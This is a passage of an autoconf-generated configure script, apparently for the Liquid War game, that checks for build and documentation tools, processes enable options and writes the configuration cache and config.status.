-n "$PYTHON"; then ac_cv_prog_PYTHON="$PYTHON" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_PYTHON="yes" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS test -z "$ac_cv_prog_PYTHON" && ac_cv_prog_PYTHON="no" fi fi PYTHON=$ac_cv_prog_PYTHON if test -n "$PYTHON"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $PYTHON" >&5 $as_echo "$PYTHON" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi # Extract the first word of "gzip", so it can be a program name with args. set dummy gzip; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_GZIP+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$GZIP"; then ac_cv_prog_GZIP="$GZIP" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_GZIP="yes" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS test -z "$ac_cv_prog_GZIP" && ac_cv_prog_GZIP="no" fi fi GZIP=$ac_cv_prog_GZIP if test -n "$GZIP"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $GZIP" >&5 $as_echo "$GZIP" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi # Extract the first word of "latex", so it can be a program name with args. set dummy latex; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_LATEX+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$LATEX"; then ac_cv_prog_LATEX="$LATEX" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_LATEX="yes" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS test -z "$ac_cv_prog_LATEX" && ac_cv_prog_LATEX="no" fi fi LATEX=$ac_cv_prog_LATEX if test -n "$LATEX"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LATEX" >&5 $as_echo "$LATEX" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi # Extract the first word of "dvips", so it can be a program name with args. set dummy dvips; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_DVIPS+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$DVIPS"; then ac_cv_prog_DVIPS="$DVIPS" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_DVIPS="yes" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS test -z "$ac_cv_prog_DVIPS" && ac_cv_prog_DVIPS="no" fi fi DVIPS=$ac_cv_prog_DVIPS if test -n "$DVIPS"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DVIPS" >&5 $as_echo "$DVIPS" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi # Extract the first word of "pdflatex", so it can be a program name with args. set dummy pdflatex; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_PDFLATEX+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$PDFLATEX"; then ac_cv_prog_PDFLATEX="$PDFLATEX" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_PDFLATEX="yes" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS test -z "$ac_cv_prog_PDFLATEX" && ac_cv_prog_PDFLATEX="no" fi fi PDFLATEX=$ac_cv_prog_PDFLATEX if test -n "$PDFLATEX"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $PDFLATEX" >&5 $as_echo "$PDFLATEX" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi # Extract the first word of "makeinfo", so it can be a program name with args. set dummy makeinfo; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_MAKEINFO+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$MAKEINFO"; then ac_cv_prog_MAKEINFO="$MAKEINFO" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_MAKEINFO="yes" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS test -z "$ac_cv_prog_MAKEINFO" && ac_cv_prog_MAKEINFO="no" fi fi MAKEINFO=$ac_cv_prog_MAKEINFO if test -n "$MAKEINFO"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAKEINFO" >&5 $as_echo "$MAKEINFO" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi I386="no" for i in i386 i486 i586 i686 ; do if test "$i" = "$host_cpu" ; then I386="yes" fi; done; OSX="no" if echo "$host_os" | grep "arwin"; then OSX="yes" fi ASM_POSSIBLE="\"$GNU_AS\" = \"yes\" -a \"$I386\" = \"yes\" -a \"OSX\" = \"no\"" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for assembly" >&5 $as_echo_n "checking for assembly... " >&6; } # Check whether --enable-asm was given. if test "${enable_asm+set}" = set; then : enableval=$enable_asm; if test "$enableval" != "no" -a $ASM_POSSIBLE ; then ASM=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else ASM=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else if test $ASM_POSSIBLE ; then ASM=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else ASM=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi fi DOC_TXT_POSSIBLE="\"$PYTHON\" = \"yes\"" DOC_HTML_POSSIBLE="\"$PYTHON\" = \"yes\"" DOC_MAN_POSSIBLE="\"$PYTHON\" = \"yes\" -a \"$GZIP\" = \"yes\"" DOC_INFO_POSSIBLE="\"$PYTHON\" = \"yes\" -a \"$GZIP\" = \"yes\" -a \"$MAKEINFO\" = \"yes\"" DOC_PS_POSSIBLE="\"$PYTHON\" = \"yes\" -a \"$LATEX\" = \"yes\" -a \"$DVIPS\" = \"yes\"" DOC_PDF_POSSIBLE="\"$PYTHON\" = \"yes\" -a \"$PDFLATEX\" = \"yes\"" DOC_PHP_POSSIBLE="\"$PYTHON\" = \"yes\"" DOC_UWC_POSSIBLE="\"$PYTHON\" = \"yes\"" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for plain text doc" >&5 $as_echo_n "checking for plain text doc... " >&6; } # Check whether --enable-doc-txt was given. if test "${enable_doc_txt+set}" = set; then : enableval=$enable_doc_txt; if test "$enableval" != "no" -a $DOC_TXT_POSSIBLE; then DOC_TXT=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_TXT=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else if test $DOC_TXT_POSSIBLE; then DOC_TXT=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_TXT=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for HTML doc" >&5 $as_echo_n "checking for HTML doc... " >&6; } # Check whether --enable-doc-html was given. if test "${enable_doc_html+set}" = set; then : enableval=$enable_doc_html; if test "$enableval" != "no" -a $DOC_HTML_POSSIBLE; then DOC_HTML=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_HTML=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else if test $DOC_HTML_POSSIBLE; then DOC_HTML=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_HTML=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for man page" >&5 $as_echo_n "checking for man page... " >&6; } # Check whether --enable-doc-man was given. if test "${enable_doc_man+set}" = set; then : enableval=$enable_doc_man; if test "$enableval" != "no" -a $DOC_MAN_POSSIBLE; then DOC_MAN=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_MAN=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else if test $DOC_MAN_POSSIBLE; then DOC_MAN=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_MAN=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for info page" >&5 $as_echo_n "checking for info page... " >&6; } # Check whether --enable-doc-info was given. if test "${enable_doc_info+set}" = set; then : enableval=$enable_doc_info; if test "$enableval" != "no" -a $DOC_INFO_POSSIBLE; then DOC_INFO=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_INFO=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else if test $DOC_INFO_POSSIBLE; then DOC_INFO=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_INFO=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for PostScript doc" >&5 $as_echo_n "checking for PostScript doc... " >&6; } # Check whether --enable-doc-ps was given. if test "${enable_doc_ps+set}" = set; then : enableval=$enable_doc_ps; if test "$enableval" != "no" -a $DOC_PS_POSSIBLE; then DOC_PS=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_PS=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else if test $DOC_PS_POSSIBLE; then DOC_PS=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_PS=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for PDF doc" >&5 $as_echo_n "checking for PDF doc... " >&6; } # Check whether --enable-doc-pdf was given. if test "${enable_doc_pdf+set}" = set; then : enableval=$enable_doc_pdf; if test "$enableval" != "no" -a $DOC_PDF_POSSIBLE; then DOC_PDF=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_PDF=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else if test $DOC_PDF_POSSIBLE; then DOC_PDF=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_PDF=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for php doc" >&5 $as_echo_n "checking for php doc... " >&6; } # Check whether --enable-doc-php was given. if test "${enable_doc_php+set}" = set; then : enableval=$enable_doc_php; if test "$enableval" != "no" -a DOC_PHP_POSSIBLE; then DOC_PHP=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_PHP=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else DOC_PHP=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for UWiKiCMS doc" >&5 $as_echo_n "checking for UWiKiCMS doc... " >&6; } # Check whether --enable-doc-uwc was given. if test "${enable_doc_uwc+set}" = set; then : enableval=$enable_doc_uwc; if test "$enableval" != "no" -a DOC_UWC_POSSIBLE; then DOC_UWC=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DOC_UWC=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else DOC_UWC=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for debug mode" >&5 $as_echo_n "checking for debug mode... " >&6; } # Check whether --enable-debug was given. if test "${enable_debug+set}" = set; then : enableval=$enable_debug; if test "$enableval" != "no"; then DEBUG=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else DEBUG=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else DEBUG=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking wether electric fence should be used" >&5 $as_echo_n "checking wether electric fence should be used... " >&6; } # Check whether --enable-efence was given. if test "${enable_efence+set}" = set; then : enableval=$enable_efence; if test "$enableval" != "no"; then EFENCE=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else EFENCE=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else EFENCE=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for static link" >&5 $as_echo_n "checking for static link... " >&6; } # Check whether --enable-static was given. if test "${enable_static+set}" = set; then : enableval=$enable_static; if test "$enableval" != "no"; then STATIC=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else STATIC=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else STATIC=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for host specific optimizations" >&5 $as_echo_n "checking for host specific optimizations... " >&6; } # Check whether --enable-host-opt was given. if test "${enable_host_opt+set}" = set; then : enableval=$enable_host_opt; if test "$I386" == "yes" && test "$enableval" != "no" ; then HOST_OPT=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else HOST_OPT=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi else if test "$I386" == "yes" ; then HOST_OPT=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else HOST_OPT=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for gp2x support" >&5 $as_echo_n "checking for gp2x support... " >&6; } if echo "$host" | grep "open2x" ; then GP2X=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: enabled" >&5 $as_echo "enabled" >&6; } else GP2X=no { $as_echo "$as_me:${as_lineno-$LINENO}: result: disabled" >&5 $as_echo "disabled" >&6; } fi # Extract the first word of "gmake", so it can be a program name with args. set dummy gmake; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_GMAKE+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$GMAKE"; then ac_cv_prog_GMAKE="$GMAKE" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_GMAKE="yes" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS test -z "$ac_cv_prog_GMAKE" && ac_cv_prog_GMAKE="no" fi fi GMAKE=$ac_cv_prog_GMAKE if test -n "$GMAKE"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $GMAKE" >&5 $as_echo "$GMAKE" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for which GNU Make to use" >&5 $as_echo_n "checking for which GNU Make to use... " >&6; } if test -n "$MAKE" && which "$MAKE"; then GMAKE=$MAKE else if test "$GMAKE" = "yes" ; then GMAKE=gmake else GMAKE=make fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $GMAKE" >&5 $as_echo "$GMAKE" >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: checking checking for RPMS dir" >&5 $as_echo_n "checking checking for RPMS dir... " >&6; } if test -d /root/rpmbuild/RPMS ; then RPMS_DIR=/root/rpmbuild/RPMS else RPMS_DIR=/usr/src/rpm/RPMS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $RPMS_DIR" >&5 $as_echo "$RPMS_DIR" >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: checking checking for SRPMS dir" >&5 $as_echo_n "checking checking for SRPMS dir... " >&6; } if test -d /root/rpmbuild/SRPMS ; then SRPMS_DIR=/root/rpmbuild/SRPMS else SRPMS_DIR=/usr/src/rpm/SRPMS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $SRPMS_DIR" >&5 $as_echo "$SRPMS_DIR" >&6; } VERSION="5.6.5" VERSION_REL="1" VERSION_COMPACT="565" VERSION_WIN32="5, 6, 5, 1" ac_config_files="$ac_config_files Makefile src/Makefile src/Makefile.dep src/base.h src/lwwin.rc utils/Makefile data/Makefile data/back/Makefile data/font/Makefile data/map/Makefile data/sfx/Makefile data/texture/Makefile data/maptex/Makefile data/water/Makefile data/music/Makefile doc/Makefile doc/html/index.html doc/tex/liquidwar.tex doc/man/begin.man doc/texi/begin.texi misc/liquidward misc/macosx_info.plist misc/liquidwar.nsi misc/docker/Dockerfile-build misc/docker/Dockerfile-server misc/docker/Dockerfile-metaserver liquidwar.spec" cat >confcache <<\_ACEOF # This file is a shell script that caches the results of configure # tests run on this system so they can be shared between configure # scripts and configure runs, see configure's option --config-cache. # It is not useful on other systems. If it contains results you don't # want to keep, you may remove or edit it. # # config.status only pays attention to the cache file if you give it # the --recheck option to rerun configure. # # `ac_cv_env_foo' variables (set or unset) will be overridden when # loading this file, other *unset* `ac_cv_foo' will be assigned the # following values. _ACEOF # The following way of writing the cache mishandles newlines in values, # but we know of no workaround that is simple, portable, and efficient. # So, we kill variables containing newlines. # Ultrix sh set writes to stderr and can't be redirected directly, # and sets the high bit in the cache file unless we assign to the vars. ( for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do eval ac_val=\$$ac_var case $ac_val in #( *${as_nl}*) case $ac_var in #( *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 $as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; esac case $ac_var in #( _ | IFS | as_nl) ;; #( BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( *) { eval $ac_var=; unset $ac_var;} ;; esac ;; esac done (set) 2>&1 | case $as_nl`(ac_space=' '; set) 2>&1` in #( *${as_nl}ac_space=\ *) # `set' does not quote correctly, so add quotes: double-quote # substitution turns \\\\ into \\, and sed turns \\ into \. sed -n \ "s/'/'\\\\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" ;; #( *) # `set' quotes correctly as required by POSIX, so do not add quotes. sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ;; esac | sort ) | sed ' /^ac_cv_env_/b end t clear :clear s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ t end s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ :end' >>confcache if diff "$cache_file" confcache >/dev/null 2>&1; then :; else if test -w "$cache_file"; then if test "x$cache_file" != "x/dev/null"; then { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5 $as_echo "$as_me: updating cache $cache_file" >&6;} if test ! -f "$cache_file" || test -h "$cache_file"; then cat confcache >"$cache_file" else case $cache_file in #( */* | ?:*) mv -f confcache "$cache_file"$$ && mv -f "$cache_file"$$ "$cache_file" ;; #( *) mv -f confcache "$cache_file" ;; esac fi fi else { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5 $as_echo "$as_me: not updating unwritable cache $cache_file" >&6;} fi fi rm -f confcache test "x$prefix" = xNONE && prefix=$ac_default_prefix # Let make expand exec_prefix. test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' # Transform confdefs.h into DEFS. # Protect against shell expansion while executing Makefile rules. # Protect against Makefile macro expansion. # # If the first sed substitution is executed (which looks for macros that # take arguments), then branch to the quote section. Otherwise, # look for a macro that doesn't take arguments. ac_script=' :mline /\\$/{ N s,\\\n,, b mline } t clear :clear s/^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*([^)]*)\)[ ]*\(.*\)/-D\1=\2/g t quote s/^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)/-D\1=\2/g t quote b any :quote s/[ `~#$^&*(){}\\|;'\''"<>?]/\\&/g s/\[/\\&/g s/\]/\\&/g s/\$/$$/g H :any ${ g s/^\n// s/\n/ /g p } ' DEFS=`sed -n "$ac_script" confdefs.h` ac_libobjs= ac_ltlibobjs= U= for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue # 1. Remove the extension, and $U if already installed. ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' ac_i=`$as_echo "$ac_i" | sed "$ac_script"` # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR # will be set to the directory where LIBOBJS objects are built. as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext" as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo' done LIBOBJS=$ac_libobjs LTLIBOBJS=$ac_ltlibobjs : "${CONFIG_STATUS=./config.status}" ac_write_fail=0 ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files $CONFIG_STATUS" { $as_echo "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5 $as_echo "$as_me: creating $CONFIG_STATUS" >&6;} as_write_fail=0 cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1 #! $SHELL # Generated by $as_me. # Run this file to recreate the current configuration. # Compiler output produced by configure, useful for debugging # configure, is in config.log if it exists. debug=false ac_cs_recheck=false ac_cs_silent=false SHELL=\${CONFIG_SHELL-$SHELL} export SHELL _ASEOF cat >>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1 ## -------------------- ## ## M4sh Initialization. ## ## -------------------- ## # Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi as_nl=' ' export as_nl # Printing a long string crashes Solaris 7 /usr/bin/printf. as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo # Prefer a ksh shell builtin over an external printf program on Solaris, # but without wasting forks for bash or zsh. if test -z "$BASH_VERSION$ZSH_VERSION" \ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='print -r --' as_echo_n='print -rn --' elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='printf %s\n' as_echo_n='printf %s' else if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' as_echo_n='/usr/ucb/echo -n' else as_echo_body='eval expr "X$1" : "X\\(.*\\)"' as_echo_n_body='eval arg=$1; case $arg in #( *"$as_nl"*) expr "X$arg" : "X\\(.*\\)$as_nl"; arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; esac; expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ' export as_echo_n_body as_echo_n='sh -c $as_echo_n_body as_echo' fi export as_echo_body as_echo='sh -c $as_echo_body as_echo' fi # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || PATH_SEPARATOR=';' } fi # IFS # We need space, tab and new line, in precisely that order. Quoting is # there to prevent editors from complaining about space-tab. # (If _AS_PATH_WALK were called with IFS unset, it would disable word # splitting by setting IFS to empty value.) IFS=" "" $as_nl" # Find who we are. Look in the path if we contain no directory separator. as_myself= case $0 in #(( *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done IFS=$as_save_IFS ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 exit 1 fi # Unset variables that we do not need and which cause bugs (e.g. in # pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" # suppresses any "Segmentation fault" message there. '((' could # trigger a bug in pdksh 5.2.14. for as_var in BASH_ENV ENV MAIL MAILPATH do eval test x\${$as_var+set} = xset \ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : done PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. LC_ALL=C export LC_ALL LANGUAGE=C export LANGUAGE # CDPATH. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH # as_fn_error STATUS ERROR [LINENO LOG_FD] # ---------------------------------------- # Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are # provided, also output the error to LOG_FD, referencing LINENO. Then exit the # script with STATUS, using 1 if that was 0. as_fn_error () { as_status=$1; test $as_status -eq 0 && as_status=1 if test "$4"; then as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack $as_echo "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 fi $as_echo "$as_me: error: $2" 